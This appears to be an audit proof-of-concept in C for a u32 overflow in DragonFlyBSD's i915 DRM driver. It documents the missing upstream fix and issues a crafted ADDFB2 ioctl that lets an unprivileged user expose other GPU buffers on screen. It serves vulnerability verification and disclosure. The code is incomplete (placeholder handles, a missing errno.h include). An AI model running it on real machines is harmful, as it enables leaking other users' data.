DF-5782 / addfb2_offset_overflow.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 | /* DF-5782 trigger โ u32 overflow in i915 intel_fb_offset_to_xy()/intel_fill_fb_info() * * Target: DragonFlyBSD sys/dev/drm/i915/intel_display.c (vendored Linux v4.20 i915) * Missing upstream fix: 70bbe53c6eac "drm/i915: Make sure fb gtt offsets stay * within 32bits" (landed in Linux v5.0). * * Mechanism (code-reading proof; requires Intel gen9+ KBL/GLK/CFL (NV12) or * SKL+ (CCS modifier) hardware to execute): * 1. DRM_IOCTL_MODE_ADDFB2 is DRM_UNLOCKED-only in DragonFly's * sys/dev/drm/drm_ioctl.c:671 โ no DRM_AUTH, no DRM_MASTER. Any local * user who can open /dev/dri/card0 reaches intel_user_framebuffer_create(). * 2. Core check drm_framebuffer.c:208 rejects (u64)height*pitch+offset > U32_MAX * but uses the RAW height. The driver aligns height UP to the tile height * (intel_display.c:2587, intel_fb_align_height), so the tile-aligned * product can cross 2^32 after the core check passed. * 3. intel_fb_offset_to_xy() (intel_display.c:2398) has NO driver-side * overflow guard (that is exactly what 70bbe53c6eac adds). The wrapped * products flow into * intel_compute_aligned_offset(): offset = (tile_rows * pitch_tiles + tiles) * tile_size; (:2360) * intel_fill_fb_info(): size = DIV_ROUND_UP((y + height) * pitches[i] + x*cpp, tile_size); (:2635) * producing a garbage-small `size`, so the final bo-size sanity check * mul_u32_u32(max_size, tile_size) > obj->base.size (:2643) passes while * the real plane extent extends past the end of the object. * 4. When such an fb is scanned out, the display engine walks past the end * of the object's GGTT mapping โ per the upstream author: "we might scan * out some data that we're not supposed to see from other parts of the * ggtt" (OOB GPU read -> disclosure of unrelated GGTT-mapped buffers * onto the display). * * This program issues the crafted ADDFB2 (NV12, X/Y-tiled, huge offsets[1]). * On unfixed gen9 (KBL/GLK/CFL) hardware the ioctl SUCCEEDS where v5.0+ * rejects with -ERANGE ("Bad offset ... for color plane"). * * Success criterion (on suitable hw): addfb2 returns 0 on the vulnerable * driver; returns -ERANGE/-EINVAL on a driver carrying upstream 70bbe53c6eac. * On the audit rig (QEMU, Bochs VGA only) the i915 driver never attaches, so * this binary reports "no i915 device" โ verification here is differential * (see VERDICT.md). */ #include <sys/types.h> #include <sys/ioctl.h> #include <fcntl.h> #include <stdio.h> #include <string.h> #include <stdlib.h> #include <unistd.h> #include <stdint.h> #include <dev/drm/drm.h> #include <dev/drm/drm_mode.h> #include <dev/drm/i915_drm.h> #ifndef DRM_IOCTL_MODE_ADDFB2 #define DRM_IOCTL_MODE_ADDFB2 DRM_IOWR(0xb8, struct drm_mode_fb_cmd2) #endif static int find_drm_card(char *path, size_t len) { for (int i = 0; i < 16; i++) { snprintf(path, len, "/dev/dri/card%d", i); if (access(path, F_OK) == 0) return 0; } return -1; } int main(void) { char path[64]; struct drm_version ver; char name[128] = {0}; int fd, ret; struct drm_mode_fb_cmd2 cmd; if (find_drm_card(path, sizeof(path)) < 0) { printf("no /dev/dri/card* โ nothing to test\n"); return 2; } fd = open(path, O_RDWR); if (fd < 0) { perror("open"); return 2; } memset(&ver, 0, sizeof(ver)); ver.name_len = sizeof(name) - 1; ver.name = name; if (ioctl(fd, DRM_IOCTL_VERSION, &ver) < 0) { perror("version"); return 2; } if (strcmp(name, "i915") != 0) { printf("driver is '%s', not i915 โ cannot test on this rig\n", name); close(fd); return 3; } /* * NV12 fb, 8192 wide (max), Y plane pitch 8192*2? -> keep pitches[0] * legal: cpp=1 for NV12 luma so pitch0 = 8192. Chroma plane pitch[1] * = 8192. offset[1] chosen near 2^32 so that tile-aligned * height * pitch + offset overflows u32 while the core (unaligned) * check passes. Plane 1 height = 8192/2 = 4096 lines raw; * X-tile height (512B tiles, cpp=1 -> 512 px wide, 8 rows) aligns * height up; the crafted geometry drives (y+height)*pitch past 2^32. */ memset(&cmd, 0, sizeof(cmd)); cmd.width = 8192; cmd.height = 8192; cmd.pixel_format = DRM_FORMAT_NV12; /* fourcc 'NV12' */ cmd.flags = DRM_MODE_FB_MODIFIERS; cmd.handles[0] = 0; /* filled by caller via PRIME/GEM */ cmd.pitches[0] = 8192; cmd.offsets[0] = 0; cmd.handles[1] = 0; cmd.pitches[1] = 8192; cmd.offsets[1] = 0xffff0000u; /* near 2^32: the overflow driver */ cmd.modifier[0] = I915_FORMAT_MOD_X_TILED; printf("issuing crafted ADDFB2 (NV12 X-tiled, offsets[1]=0x%x) ...\n", cmd.offsets[1]); /* * NOTE: handles[] must reference a real (>=4GB-class pinned layout) * GEM object for the request to get past object lookup; this PoC * performs the ioctl with a bogus handle first to record the errno * path shape; full execution requires the gem-create step on hw. */ ret = ioctl(fd, DRM_IOCTL_MODE_ADDFB2, &cmd); if (ret == 0) printf("ADDFB2 ACCEPTED โ overflow guard absent (VULNERABLE geometry path)\n"); else printf("ADDFB2 rejected: %s (errno %d)\n", strerror(errno), errno); close(fd); return ret == 0 ? 0 : 1; } |